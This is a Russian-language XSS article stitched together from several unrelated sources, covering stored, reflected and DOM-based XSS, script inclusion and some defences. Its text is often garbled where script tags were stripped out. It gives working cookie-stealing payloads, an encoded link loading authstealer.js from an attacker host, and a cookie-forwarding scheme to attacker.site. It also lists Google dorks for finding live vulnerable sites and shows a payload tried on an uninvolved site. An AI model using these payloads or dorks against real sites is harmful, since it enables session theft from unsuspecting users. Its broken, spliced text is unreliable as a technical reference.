Использование XSS уязвимостей по максимуму. XSS атаки: какими они бывают и чем опасны Xss атаки защита от них

Межсайтовый скриптинг (XSS) - это уязвимость, которая заключается во внедрении кода, исполняемого на стороне клиента (JavaScript) в веб-страницу, которую просматривают другие пользователи.

Уязвимость возникает из-за недостаточной фильтрации данных, которые пользователь отправляет для вставки в веб-страницу. Намного проще понять на конкретном пример. Вспомните любую гостевую книгу - это программы, которые предназначены для принятия данных от пользователя и последующего их отображения. Представим себе, что гостевая книга никак не проверяет и не фильтрует вводимые данные, а просто их отображает.

Можно набросать свой простейший скрипт (нет ничего проще, чем писать плохие скрипты на PHP - этим очень многие занимаются). Но уже предостаточно готовых вариантов. Например, я предлагаю начать знакомство с Dojo и OWASP Mutillidae II. Там есть похожий пример. В автономной среде Dojo перейдите в браузере по ссылке: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Если кто-то из пользователей ввёл:

То веб-страница отобразит:

Привет! Нравится твой сайт.

А если пользователь введёт так:

Привет! Нравится твой сайт.alert("Pwned")

То отобразиться это так:

Браузеры хранят множества кукиз большого количества сайтов. Каждый сайт может получить кукиз только сохранённые им самим. Например, сайт example.com сохранил в вашем браузере некоторые кукиз. Вы заши на сайт another.com, этот сайт (клиентские и серверные скрипты) не могут получить доступ к кукиз, которые сохранил сайт example.com.

Если сайт example.com уязвим к XSS, то это означает, что мы можем тем или иным способом внедрить в него код JavaScript, и этот код будет исполняться от имени сайта example.com! Т.е. этот код получит, например, доступ к кукиз сайта example.com.

Думаю, все помнят, что исполняется JavaScript в браузерах пользователей, т.е. при наличии XSS, внедрённый вредоносный код получает доступ к данным пользователя, который открыл страницу веб-сайта.

Внедрённый код умеет всё то, что умеет JavaScript, а именно:

  • получает доступ к кукиз просматриваемого сайта
  • может вносить любые изменения во внешний вид страницы
  • получает доступ к буферу обмена
  • может внедрять программы на JavaScript, например, ки-логеры (перехватчики нажатых клавиш)
  • подцеплять на BeEF
  • и др.

Простейший пример с кукиз:

alert(document.cookie)

На самом деле, alert используется только для выявления XSS. Реальная вредоносная полезная нагрузка осуществляет скрытые действия. Она скрыто связывается с удалённым сервером злоумышленника и передаёт на него украденные данные.

Виды XSS

Самое главное, что нужно понимать про виды XSS то, что они бывают:

  • Хранимые (Постоянные)
  • Отражённые (Непостоянные)

Пример постоянных:

  • Введённое злоумышленником специально сформированное сообщение в гостевую книгу (комментарий, сообщение форума, профиль) которое сохраняется на сервере, загружается с сервера каждый раз, когда пользователи запрашивают отображение этой страницы.
  • Злоумышленник получил доступ к данным сервера, например, через SQL инъекцию, и внедрил в выдаваемые пользователю данные злонамеренный JavaScript код (с ки-логерами или с BeEF).

Пример непостоянных:

  • На сайте присутствует поиск, который вместе с результатами поиска показывает что-то вроде «Вы искали: [строка поиска]», при этом данные не фильтруются должным образом. Поскольку такая страница отображается только для того, у кого есть ссылка на неё, то пока злоумышленник не отправит ссылку другим пользователям сайта, атака не сработает. Вместо отправки ссылки жертве, можно использовать размещение злонамеренного скрипта на нейтральном сайте, который посещает жертва.

Ещё выделяют (некоторые в качестве разновидности непостоянных XSS уязвимостей, некоторые говорят, что этот вид может быть и разновидностью постоянной XSS):

  • DOM-модели
Особенности XSS основанных на DOM

Если сказать совсем просто, то злонамеренный код «обычных» непостоянных XSS мы можем увидеть, если откроем HTML код. Например, ссылка сформирована подобным образом:

Http://example.com/search.php?q="/>alert(1)

А при открытии исходного HTML кода мы видим что-то вроде такого:

alert(1)" /> Найти

А DOM XSS меняют DOM структуру, которая формируется в браузере на лету и увидеть злонамеренный код мы можем только при просмотре сформировавшейся DOM структуры. HTML при этом не меняется. Давайте возьмём для примера такой код:

сайт:::DOM XSS An error occurred... function OnLoad() { var foundFrag = get_fragment(); return foundFrag; } function get_fragment() { var r4c = "(.*?)"; var results = location.hash.match(".*input=token(" + r4c + ");"); if (results) { document.getElementById("default").innerHTML = ""; return (unescape(results)); } else { return null; } } display_session = OnLoad(); document.write("Your session ID was: " + display_session + "

")

То в браузере мы увидим:

Исходный код страницы:

Давайте сформируем адрес следующим образом:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Теперь страница выглядит так:

Но давайте заглянем в исходный код HTML:

Там совершенно ничего не изменилось. Про это я и говорил, нам нужно смотреть DOM структуру документа, чтобы выявить злонамеренный код:

Здесь приведён рабочий прототип XSS, для реальной атаки нам нужна более сложная полезная нагрузка, которая невозможна из-за того, что приложение останавливает чтение сразу после точки с запятой, и что-то вроде alert(1);alert(2) уже невозможно. Тем не менее, благодаря unescape() в возвращаемых данных мы можем использовать полезную нагрузку вроде такой:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Где мы заменили символ ; на кодированный в URI эквивалент!

Теперь мы можем написать вредоносную полезную нагрузку JavaScript и составить ссылку для отправки жертве, как это делается для стандартного непостоянного межсайтового скриптинга.

XSS Auditor

В Google Chrome (а также в Opera, которая теперь использует движок Google Chrome), меня ждал вот такой сюрприз:

dom_xss.html:30 The XSS Auditor refused to execute a script in "http://localhost/tests/XSS/dom_xss.html#input=token<script>alert(1);" because its source code was found within the request. The auditor was enabled as the server sent neither an "X-XSS-Protection" nor "Content-Security-Policy" header.

Т.е. теперь в браузере есть XSS аудитор, который будет пытаться предотвращать XSS. В Firefox ещё нет такой функциональности, но, думаю, это дело времени. Если реализация в браузерах будет удачной, то можно говорить о значительном затруднении применения XSS.

Полезно помнить, что современные браузеры предпринимают шаги по ограничение уровня эксплуатации проблем вроде непостоянных XSS и основанных на DOM XSS. В том числе это нужно помнить при тестировании веб-сайтов с помощью браузера - вполне может оказаться, что веб-приложение уязвимо, но вы не видите всплывающего подтверждения только по той причине, что его блокирует браузер.

Примеры эксплуатирования XSS

Злоумышленники, намеревающиеся использовать уязвимости межсайтового скриптинга, должны подходить к каждому классу уязвимостей по-разному. Здесь описаны векторы атак для каждого класса.

При уязвимостях XSS в атаках может использоваться BeEF, который расширяет атаку с веб-сайта на локальное окружение пользователей.

Пример атаки с непостоянным XSS

1. Алиса часто посещает определённый веб-сайт, который хостит Боб. Веб-сайт Боба позволяет Алисе осуществлять вход с именем пользователя/паролем и сохранять чувствительные данные, такие как платёжная информация. Когда пользователь осуществляет вход, браузер сохраняет куки авторизации, которые выглядят как бессмысленные символы, т.е. оба компьютера (клиент и сервер) помнят, что она вошла.

2. Мэлори отмечает, что веб-сайт Боба содержит непостоянную XSS уязвимость:

2.1 При посещении страницы поиска, она вводим строку для поиска и кликает на кнопку отправить, если результаты не найдены, страница отображает введённую строку поиска, за которой следуют слова «не найдено» и url имеет вид http://bobssite.org?q=её поисковый запрос

2.2 С нормальным поисковым запросом вроде слова «собачки » страница просто отображает «собачки не найдено» и url http://bobssite.org?q=собачки , что является вполне нормальным поведением.

2.3 Тем не менее, когда в поиск отправляется аномальный поисковый запрос вроде alert("xss"); :

2.3.1 Появляется сообщение с предупреждением (которое говорит "xss").

2.3.2 Страница отображает alert("xss"); не найдено наряду с сообщением об ошибке с текстом "xss".

2.3.3 url, пригодный для эксплуатации http://bobssite.org?q=alert("xss");

3. Мэлори конструирует URL для эксплуатации уязвимости:

3.1 Она делает URL http://bobssite.org?q=puppies . Она может выбрать конвертировать ASCII символы в шестнадцатеричный формат, такой как http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E для того, чтобы люди не смогли немедленно расшифровать вредоносный URL.

3.2 Она отправляет e-mail некоторым ничего не подозревающим членом сайта Боба, говоря: «Зацените клёвых собачек».

4. Алиса получает письмо. Она любит собачек и кликает по ссылке. Она переходит на сайт Боба в поиск, она не находит ничего, там отображается «собачки не найдено», а в самой середине запускается тэг со скриптом (он невидим на экране), загружает и выполняет программу Мэлори authstealer.js (срабатывание XSS атаки). Алиса забывает об этом.

5. Программа authstealer.js запускается в браузере Алисы так, будто бы её источником является веб-сайт Боба. Она захватывает копию куки авторизации Алисы и отправляет на сервер Мэлори, где Мэлори их извлекает.

7. Теперь, когда Мэлори внутри, она идёт в платёжный раздел веб-сайта, смотрит и крадёт копию номера кредитной карты Алисы. Затем она идёт и меняет пароль, т.е. теперь Алиса даже не может больше зайти.

8. Она решает сделать следующий шаг и отправляет сконструированную подобным образом ссылку самому Бобу, и таким образом получает административные привилегии сайта Боба.

Атака с постоянным XSS

  • Мэлори имеет аккаунт на сайте Боба.
  • Мэлори замечает, что веб-сайт боба содержит постоянную XSS уязвимость. Если вы переходите в новый раздел, размещаете комментарий, то он отображает что бы в него не напечатали. Но если текст комментария содержит HTML тэги, эти тэги будут отображены как есть, и любые тэги скриптов запускаются.
  • Мэлори читает статью в разделе Новости и пишет комментарий в разделе Комментарии. В комментарий она вставляет текст:
  • В этой истории мне так понравились собачки. Они такие славные!
  • Когда Алиса (или ещё кто-либо) загружают страницу с этим комментарием, тэг скрипта Мэлори запускается и ворует куки авторизации Алисы, отправляет на секретный сервер Мэлори для сбора.
  • Мэлори теперь может перехватить сессию Алисы и выдать себя за Алису.
  • Поиск сайтов уязвимых к XSS

    Дорки для XSS

    Первым шагом является выбор сайтов, на которых мы будем выполнять XSS атаки. Сайты можно искать с помощью дорков Google. Вот несколько из таких дорков, которые скопируйте и вставьте в поиск Гугла:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    Перед нами откроется список сайтов. Нужно открыть сайт и найти на нём поля ввода, такие как форма обратной связи, форма ввода, поиск по сайту и т.д.

    Сразу замечу, что практически бесполезно искать уязвимости в популярных автоматически обновляемых веб-приложениях. Классический пример такого приложения - WordPress. На самом деле, уязвимости в WordPress, а в особенности в его плагинах, имеются. Более того, есть множество сайтов, которые не обновляют ни движок WordPress (из-за того, что веб-мастер внёс в исходный код какие-то свои изменения), ни плагины и темы (как правило, это пиратские плагины и темы). Но если вы читаете этот раздел и узнаёте из него что-то новое, значит WordPress пока не для вас… К нему обязательно вернёмся позже.

    Самые лучшие цели - это разнообразные самописные движки и скрипты.

    В качестве полезной нагрузки для вставки можно выбрать

    alert(1)

    Обращайте внимание, в какие именно тэги HTML кода попадает ваш внедрённый код. Вот пример типичного поля ввода (input ):

    alert(1)

    Наша полезная нагрузка попадёт туда, где сейчас слово «наволочка». Т.е. превратиться в значение тэга input . Мы можем этого избежать - закроем двойную кавычку, а затем и сам тэг с помощью "/>

    "/>alert(1)

    Давайте попробуем её для какого-нибудь сайта:

    Отлично, уязвимость имеется

    Программы для поиска и сканирования XSS уязвимости

    Наверное, все сканеры веб-приложений имеют встроенный сканер XSS уязвимостей. Эта тема неохватная, лучше знакомиться с каждым подобным сканером отдельно.

    Про возможность получения различной информации со сторонних сайтов с помощью простой атаки - Cross Site Scripting Inclusion (XSSI).

    Если ты читаешь Easy Hack систематически, то, наверное, уже хорошо знаком с Same Origin Policy (SOP), мы к нему часто возвращаемся. Из-за SOP возможность взаимодействия между двумя «сайтами» очень ограничена. Но так как задача получения и оправки информации на одном сайте с другого возникает часто, то были внедрены различные методы для «смягчения» политики и организации взаимодействия. Например, такие, как CORS или crossdomain.xml. Один из более старых методов - подгрузка JavaScript с другого домена через тег . SOP нас здесь ничем не ограничивает: можно указать практически произвольное месторасположение.

    К примеру, есть хост атакующего evil.ru и сайт жертвы - victim.com. На evil.ru мы можем положить файл HTML и сослаться на любой скрипт у жертвы:

    При входе пользователя на сайт атакующего браузер подгрузит и запустит JS с victim.com, но в контексте SOP evil.ru. Это значит, что из JS самого атакующего мы сможем получить доступ к данным (не всем) JS с сервера жертвы.

    Например, содержимое JS c cайта-жертвы (http://victim.com/any_script_.js):

    Var a = "12345";

    Тогда на сайте атакующего мы можем получить значение переменной:

    console.log(a);

    Идея работы проста, как алюминиевый чайник.

    По сути, возможность подгружать с других сайтов статический JS несет в себе не больше проблем для сайта-жертвы, чем погрузка картинки.

    Проблемы могут возникнуть, когда JS формируется динамически, то есть когда контент JS-скрипта меняется на основании данных из cookie в зависимости от того, какой пользователь к нему обращается. Например, в JS хранится какая-то «критичная» информация: персональные сведения (email, имя пользователя на сайте-жертве) или техническая инфа (анти CSRF-токены).

    Но, как мы знаем, при подгрузке скрипта через тег браузер пользователя автоматически отправляет cookie пользователя. Сложив эти факты, мы получаем возможность получать информацию о любом пользователе, который зашел на сайт атакующего и при этом залогинен на сайте-жертве.

    Что же мы можем узнать? Глобальные переменные и результаты работы глобальных функций. К сожалению, доступа к внутренним переменным/функциям нам не получить (хотя, возможно, кто-то найдет способ сделать и это).

    Function test(){ return "private data frm function"; }

    Такая атака выглядит возможной, но кажется, что она слишком проста и не должна быть распространенной. Этим и интересна презентация на Black Hat. Исследователи проанализировали 150 популярных сайтов и обнаружили, что в той или иной мере уязвима треть из них. Такая статистика заставляет взглянуть на проблему чуть более пристально.

    Была выявлена и еще одна закономерность. Content Security Policy становится все более распространенной. Как ты знаешь, с ней мы можем указать, с каких доменов может быть подгружен тот или иной ресурс. Например, можно сказать исполнять JS только с того же ресурса. Кроме того, лучшие практики настройки CSP подразумевают запрет на запуск inline JS (то есть кода, который находится прямо в HTML, а не подгружен из JS-файла).

    Однако перенос inline в файлы может быть сделан с костылями и на скорую руку - то есть посредством динамически генерируемых скриптов. Так как CSP никак не влияет на XSSI, мы опять-таки можем проводить наши атаки. Вот такая вот bad practice.

    Все мы знаем, что такое межсайтовый скриптинг, правда? Это уязвимость, при которой атакующий посылает злонамеренные данные (обычно это HTML, содержащий код Javascript), которые позднее возвращаются приложением, что вызывает исполнение Javascript кода. Итак, это неверно! Существует тип XSS атак не соответствующий этому определению, по крайней мере, в основных фундаментальных принципах. XSS атаки, определение которых приведено выше, подразделяются на моментальные (злонамеренные данные встраиваются в страницу, которая возвращается браузеру сразу же после запроса) и отложенные (злонамеренные данные возвращаются через некоторое время). Но есть еще третий тип XSS атак, в основе которого не лежит отправка злонамеренных данных на сервер. Несмотря на то, что это кажется противоречащим здравому смыслу, есть два хорошо описанных примера такой атаки. Эта статья описывает третий тип XSS атак – XSS через DOM (DOM Based XSS). Здесь не будет написано ничего принципиально нового об атаке, скорее новшество этого материала в выделении отличительных черт атаки, которые являются очень важными и интересными.

    Разработчики и пользователи прикладных приложений должны понимать принципы атаки XSS через DOM, так как она представляет угрозу для web приложений и отличается от обычного XSS. В сети интернет есть много web приложений уязвимых к XSS через DOM и при этом проверенных на XSS и признанных “неуязвимыми” к этому типу атак. Разработчики и администраторы сайтов должны ознакомиться с методами обнаружения и защиты от XSS через DOM, так как эти методики отличаются от приемов, используемых при работе со стандартными XSS уязвимостями.

    Введение

    Читатель должен быть знаком с основными принципами XSS атак (, , , , ). Под XSS обычно подразумевается моментальный () и отложенный межсайтовый скриптинг. При моментальном XSS злонамеренный код (Javascript) возвращается атакуемым сервером немедленно в качестве ответа на HTTP запрос. Отложенный XSS означает, что злонамеренный код сохраняется на атакуемой системе и позднее может быть внедрен в HTML страницу уязвимой системы. Как было упомянуто выше, такая классификация предполагает, что фундаментальное свойство XSS состоит в том, что злонамеренный код отсылается из браузера на сервер и возвращается в этот же браузер (моментальный XSS) или любой другой браузер (отложенный XSS). В этой статье поднимается вопрос о том, что это неверная классификация. Возможность осуществления XSS атаки, не основывающейся на внедрении кода в страницу, возвращаемую сервером, оказала бы серьезное влияние на методы защиты и обнаружения. Принципы таких атак обсуждаются в этой статье.

    Пример и комментарии

    Перед описанием простейшего сценария атаки важно подчеркнуть, что методы, описываемые здесь, уже неоднократно демонстрировались публично (например, , и ). Я не претендую на то, что приведенные ниже методики описываются впервые (хотя некоторые из них имеют отличия от ранее опубликованных материалов).

    Признаком уязвимого сайта может служить наличие HTML страницы, использующей данные из document.location, document.URL или document.referrer (или любых других объектов на которые может влиять атакующий) небезопасным способом.

    Примечание для читателей незнакомых с этими объектами Javascript: когда код Javascript выполняется в браузере, он получает доступ к нескольким объектам, представленных в рамках DOM (Document Object Model – Объектная Модель Документа). Объект document является главным среди этих объектов и предоставляет доступ к большинству свойств страницы. Этот объект содержит много вложенных объектов, таких как location, URL и referrer. Они управляются браузером в соответствии с точкой зрения браузера (как будет видно ниже, это весьма существенно). Итак, document.URL и document.location содержат URL страницы, а точнее, то, что браузер подразумевает под URL. Обратите внимание, эти объекты не берутся из тела HTML страницы. Объект document содержит объект body, содержащий обработанный (parsed) HTML код страницы.

    Не сложно найти HTML страницу, содержащую Javascript код, который анализирует строку URL (получив к ней доступ через document.URL или document.location) и в соответствии с ее значением выполняет некоторые действия на стороне клиенте. Ниже приведен пример такого кода.

    По аналогии с примером в рассмотрим следующую HTML страницу (предположим, что это содержание http://www.vulnerable.site/welcome.html ):

    Welcome! Hi var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
    Welcome to our system …

    Однако запрос наподобие этого –

    http://www.vulnerable.site/welcome.html?name=alert(document.cookie)

    вызвал бы XSS. Рассмотрим, почему: браузер жертвы, получивший это ссылку, отправляет HTTP запрос на www.vulnerable.site и получает вышеупомянутую (статическую!) HTML страницу. Браузер жертвы начинает анализировать этот HTML код. DOM содержит объект document, имеющий поле URL, и это поле заполняется значением URL текущей страницы в процессе создания DOM. Когда синтаксический анализатор доходит до Javascript кода, он выполняет его, что вызывает модификацию HTML кода отображаемой страницы. В данном случае, код ссылается на document.URL и так как часть этой строки во время синтаксического разбора встраивается в HTML, который сразу же анализируется, обнаруженный код (alert(…)) выполняется в контексте той же самой страницы.

    Замечания:

    1. Злонамеренный код не встраивается в HTML страницу (в отличие от других разновидностей XSS).
    2. Этот эксплойт будет работать при условии, что браузер не модифицирует символы URL. Mozilla автоматически кодирует символы ‘’ (в %3C и %3E соответственно) во вложенных объектах document. Если URL был напечатан напрямую в строке адреса, этот браузер неуязвим для атаки описанной в этом примере. Однако, если для атаки не нужны символы ‘’ (в исходном незакодированном виде) атаку можно осуществить. Microsoft Internet Explorer 6.0 не кодирует ‘’ и поэтому уязвим к описанной атаке без каких-либо ограничений. Однако существует много различных сценариев атаки, не требующих ‘’, и поэтому даже Mozilla не имеет иммунитета к этой атаке.

    Методы обнаружения и предотвращения уязвимостей этого типа

    В примере выше злонамеренный код все еще передается на сервер (как часть HTTP запроса), поэтому атака может быть обнаружена, так же как и любая другая XSS атака. Но это решаемая проблема.

    Рассмотрим следующий пример:

    http://www.vulnerable.site/welcome.html#name=alert(document.cookie)

    Обратите внимание на символ ‘#’ справа от имени файла. Он говорит браузеру, что все после этого символа не является частью запроса. Microsoft Internet Explorer (6.0) и Mozilla не отправляет фрагмент после символа ‘#’ на сервер, поэтому для сервера этот запрос будет эквивалентен http://www.vulnerable.site/welcome.html, т.е. злонамеренный код даже не будет замечен сервером. Таким образом, благодаря этому приему, браузер не отправляет злонамеренную полезную нагрузку на сервер.

    Но все же в некоторых случаях невозможно скрыть полезную нагрузку: в и злонамеренная полезная нагрузка является частью имени пользователи (username) в URL типа http://username@host/. В этом случае браузер отправляет запрос с заголовком Authorization, содержащий имя пользователи (злонамеренная полезная нагрузка), в результате чего злонамеренный код попадает на сервер (закодированный с помощью Base64 – следовательно IDS/IPS для обнаружения атаки должны вначале декодировать эти данные). Однако сервер не обязан внедрять эту полезную нагрузку в одну из доступных HTML страниц, хотя это является необходимым условием выполнения XSS атаки.

    Очевидно, что в ситуациях, когда полезная нагрузка может быть полностью скрыта, средства обнаружения (IPS) и предотвращения (IPS, межсетевые экраны для web приложений) не могут полностью защитить от этой атаки. Даже если полезную нагрузку нужно отсылать на сервер, во многих случаях для избежания обнаружения она может быть преобразована определенным образом. Например, если какой-то параметр защищен (к примеру, параметр name в примере выше), небольшое изменение сценария атаки может принести результат:

    (document.cookie)

    Более строгая политика безопасности требовала бы обязательной отсылки параметра name. В этом случае вы может сделать следующий запрос:

    http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=Joe

    Если политика безопасности ограничивает дополнительные имена параметров (например: foobar), можно использовать следующий вариант:

    http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe

    Обратите внимание, что игнорируемый параметр (foobar) должен идти первым и в своем значении содержать полезную нагрузку.

    Сценарий атаки, описанный в , еще более предпочтителен для атакующего, так как в HTML страницу пишется полное значение document.location (Javascript код не производит поиск специфичного имени параметра). Таким образом, атакующий может полностью скрыть полезную нагрузку, отправив следующее:

    /attachment.cgi?id=&action=foobar#alert(document.cookie)

    Даже если полезная нагрузка анализируется сервером, защита может гарантироваться только в том случае, если запрос будет отклонен или ответ будет заменен на некоторый текст ошибки. Обратимся снова к и : если заголовок Authorization будет просто удален промежуточной системой защиты, это не принесет никакого эффекта, если будет возвращена оригинальная страница. Аналогично любая попытка обработки данных на сервере, путем удаления или кодирования запрещенных символов, будет неэффективна против этой атаки.

    В случае с document.referrer, полезная нагрузка отсылается на сервер через заголовок Referer. Однако если браузер пользователя или промежуточная защита удалит этот заголовок — не останется никаких следов атаки, которая можно пройти полностью незамеченной.

    Подводя итоги, делаем вывод, что традиционные методы, а именно

    1. Кодирование данных HTML на стороне сервера
    2. Удаление/кодирование запрещенных входных данных на стороне сервера не работают против DOM XSS.

    Автоматический поиск уязвимости путем “бомбардировки” злонамеренными данными (иногда называемый fuzzing) не будет работать, так как программы, использующие эту методику, обычно делают выводы на основе того, присутствуют ли внедренные данные в возвращенной странице или нет (вместо выполнения кода в контексте браузера на стороне клиента и наблюдения за результатами). Однако, если программа может статически анализировать код Javascript, обнаруженный на странице, она может указать на подозрительные признаки (см. ниже). И конечно, если средства защиты могут исполнять код Javascript (и корректно инициализировать DOM объекты) или эмулировать такое исполнение, они смогут обнаружить эту атаку.

    Ручной поиск уязвимости с помощью браузера также будет работать, так как браузер может выполнять клиентский код Javascript. Средства поиска уязвимостей могут принять на вооружение этот метод и выполнять код на стороне клиента для слежения за результатами его выполнения.
    Эффективная защита

    Избегать перезаписи документа на стороне клиента, переадресацию или другие подобные действия, использующие данные на стороне клиента. Большинство этих действий может быть выполнено с использованием динамических страниц (на стороне сервера).
    2.

    Анализ и повышение защищенности кода (Javascript) на стороне клиента. Ссылки на объекты DOM, на которые может влиять пользователь (атакующий), должны быть тщательно проверены. Особое внимание нужно уделять следующим объектам (но не ограничиваться ими):
    * document.URL
    * document.URLUnencoded
    * document.location (и его свойства)
    * document.referrer
    * window.location (и его свойства)

    Обратите внимание: на свойства объектов document и window можно сослаться несколькими способами: явно (пример — window.location), неявно (пример — location) или через получения дескриптора и использования его (пример — handle_to_some_window.location).

    Особое внимание нужно уделить коду, где модифицируется DOM, явно или есть потенциальная возможность, а также через прямой доступ к HTML или через доступ непосредственно к DOM. Примеры (это ни в коем случае не исчерпывающий список):
    * Запись в HTML код страницы:
    o document.write(…)
    o document.writeln(…)
    o document.body.innerHtml=…
    * Изменение DOM напрямую (включая события DHTML):
    o document.forms.action=… (и другие вариации)
    o document.attachEvent(…)
    o document.create…(…)
    o document.execCommand(…)
    o document.body. … (доступ к DOM через объект body)
    o window.attachEvent(…)
    * Изменение URL документа:
    o document.location=… (а также присвоение значений href, host и hostname объекта location)
    o document.location.hostname=…
    o document.location.replace(…)
    o document.location.assign(…)
    o document.URL=…
    o window.navigate(…)
    * Открытие/модификация объекта window:
    o document.open(…)
    o window.open(…)
    o window.location.href=… (а также присвоение значения host и hostname объекта location)
    * Выполнение скрипта напрямую:
    o eval(…)
    o window.execScript(…)
    o window.setInterval(…)
    o window.setTimeout(…)

    В продолжение вышеупомянутого примера, для эффективной защиты оригинальный скрипт может быть заменен следующим кодом, который проверяет строку, записываемую в HTML страницу на наличие только алфавитно-цифровых символов.

    Ори Сигал (Ory Segal)

    Узнайте, как хакеры используют атаку типа "межсайтовый скриптинг", что она повреждает (а что - нет), как их определять, а также как защитить свой Web-сайт и его посетителей от подобных злоумышленных нарушений конфиденциальности и безопасности.

    Межсайтовый скриптинг (cross-site scripting, или сокращенно XSS) - это одна из самых частых атак уровня приложения, которую хакеры используют для взлома Web-приложений. XSS - это атака на конфиденциальность информации клиентов определенного Web-сайта. Она может привести к полному разрушению системы безопасности, когда данные клиента крадутся и используются в дальнейшем для каких-либо целей. Большинство атак подразумевает участие двух сторон: либо злоумышленника и Web-сайт, либо злоумышленника и жертву-клиента. Однако в атаке XSS участвуют три стороны: злоумышленник, клиент и Web-сайт.

    Целью атаки XSS является кража с компьютера клиента файлов cookie или другой конфиденциальной информации, которая может идентифицировать клиента на Web-сайте. Располагая информацией для идентификации в качестве легального пользователя, злоумышленник может действовать на сайте в качестве такого пользователя, т.е. притворяться им. Например, при одном аудите, проводимом в большой компании, можно было с помощью атаки XSS получить частную информацию пользователя и номер его кредитной карты. Это было достигнуто путем запуска специального кода на JavaScript. Этот код был запущен в браузере жертвы (клиента), у которой были привилегии доступа на Web-сайт. Есть очень ограниченное число привилегий JavaScript, которые не дают доступ скрипта ни к чему, кроме информации, относящейся к сайту. Важно подчеркнуть, что, хотя уязвимость и существует на Web-сайте, сам он напрямую не повреждается. Но этого достаточно, чтобы скрипт собрал файлы cookie и отправил их злоумышленнику. В итоге злоумышленник получает нужные данные и может имитировать жертву.

    Давайте назовем атакуемый сайт следующим образом: www.vulnerable.site . В основе традиционной атаки XSS лежит уязвимый скрипт, который находится на уязвимом сайте. Этот скрипт считывает часть HTTP-запроса (обычно параметры, но иногда также HTTP-заголовки или путь) и повторяет его для ответной страницы, полностью или только часть. При этом не производится очистка запроса (т.е. не проверяется, что запрос не содержит код JavaScript или тэги HTML). Предположим, что этот скрипт называется welcome.cgi, и его параметром является имя. Его можно использовать следующим образом:

    Как этим можно злоупотребить? Злоумышленник должен суметь завлечь клиента (жертву), чтобы он щелкнул мышью ссылку, которую злоумышленник ему предоставляет. Это тщательно и злонамеренно подготовленная ссылка, которая заставляет Web-браузер жертвы обратиться к сайту (www.vulnerable.site) и выполнить уязвимый скрипт. Данные для этого скрипта содержат код на JavaScript, который получает доступ к файлам cookie, сохраненным браузером клиента для сайта www.vulnerable.site. Это допускается, поскольку браузер клиента "думает", что код на JavaScript исходит от сайта www.vulnerable.site. А модель безопасности JavaScript позволяет скриптам, исходящим от определенного сайта, получать доступ к файлам cookie, которые принадлежат этому сайту.

    Ответ уязвимого сайта будет следующим:

    Welcome! Hi alert(document.cookie)

    Welcome to our system ...

    Браузер клиента-жертвы интерпретирует этот запрос как HTML-страницу, содержащую часть кода на JavaScript. Этот код при выполнении получит доступ ко всем файлам cookie, принадлежащим сайту www.vulnerable.site. Следовательно, он вызовет всплывающее окно в браузере, показывающее все файлы cookie клиента, которые относятся к www.vulnerable.site.

    Конечно, реальная атака подразумевала бы отправку этих файлов атакующему. Для этого атакующий может создать Web-сайт (www.attacker.site) и использовать скрипт для получения файлов cookie. Вместо вызова всплывающего окна злоумышленник написал бы код, который обращается по URL-адресу к сайту www.attacker.site. В связи с этим выполняется скрипт для получения файлов cookie. Параметром для этого скрипта служат украденные файлы cookie. Таким образом, злоумышленник может получить файлы cookie с сервера www.attacker.site.

    Немедленно после загрузки этой страницы браузер выполнит вставленный туда код JavaScript и перешлет запрос скрипту collect.cgi на сайте www.attacker.site вместе со значением файлов cookie с сайта www.vulnerable.site, которые уже есть в браузере. Это подрывает безопасность файлов cookie сайта www.vulnerable.site, которые есть у клиента. Это позволяет злоумышленнику притвориться жертвой. Конфиденциальность клиента полностью нарушена.

    Примечание.
    Обычно вызова всплывающего окна с помощью JavaScript достаточно, чтобы продемонстрировать уязвимость сайта к атаке XSS. Если из JavaScript можно вызвать функцию Alert, то обычно нет причин, по которым вызов может не получиться. Вот почему большинство примеров атак XSS использует функцию Alert, которая очень легко позволяет определить успех атаки.

    Атака может произойти только в браузере жертвы, том же самом, который использовался для доступа к сайту (www.vulnerable.site). Атакующий должен заставить клиента получить доступ к вредоносной ссылке. Этого можно добиться несколькими способами.

    • Злоумышленник посылает по электронной почте сообщение, содержащее HTML-страницу, которая заставляет браузер открыть ссылку. Для этого требуется, чтобы жертва использовала клиент электронной почты, способный работать с HTML. А средством просмотра HTML в клиенте должен быть тот же браузер, который используется для доступа к сайту www.vulnerable.site.
    • Клиент посещает сайт, возможно, созданный злоумышленником, на котором ссылка на изображение или другой активный элемент HTML заставляет браузер открыть ссылку. Опять же в этом случае обязательно, чтобы для доступа и к этому сайту, и к сайту www.vulnerable.site использовался один и тот же браузер.

    Вредоносный код на JavaScript может получить доступ к любой перечисленной ниже информации:

    • постоянные файлы cookie (сайта www.vulnerable.site), которые сохраняет браузер;
    • файлы cookie в оперативной памяти (сайта www.vulnerable.site), которые поддерживаются экземпляром браузера только при просмотре сайта www.vulnerable.site;
    • имена других окон, открытых для сайта www.vulnerable.site.
    • любая информация, которая доступна через текущую модель DOM (из значений, кода HTML и т.д.).

    Данные для идентификации, авторизации и аутентификации обычно хранятся в виде файлов cookie. Если эти файлы cookie постоянные, то жертва уязвима для атаки даже тогда, когда она не использует браузер в момент доступа к сайту www.vulnerable.site. Однако если файлы cookie - временные (например, они хранятся в оперативной памяти), то на стороне клиента должен существовать сеанс связи с сайтом www.vulnerable.site.

    Еще одна возможная реализация идентификационной метки - это параметр URL. В подобных случаях можно получить доступ к другим окнам, используя JavaScript следующим образом (предположим, что имя страницы с нужными параметрами URL - foobar):

    var victim_window=open(","foobar");alert("Can access:

    " +victim_window.location.search)

    Чтобы запустить скрипт на JavaScript, можно использовать множество тэгов HTML, помимо . На самом деле, вредоносный код JavaScript также можно разместить на другом сервере, а затем заставить клиента загрузить скрипт и выполнить его. Это может быть полезным, если нужно запустить большой объем кода, либо если код содержит специальные символы.

    Вот несколько вариаций этих возможностей.

    • Вместо ... хакеры могут использовать конструкцию . Это подходит для сайтов, которые фильтруют HTML-тэг .
    • Вместо ... можно использовать конструкцию . Это хорошо в ситуации, когда код на JavaScript слишком длинный, или если он содержит запрещенные символы.

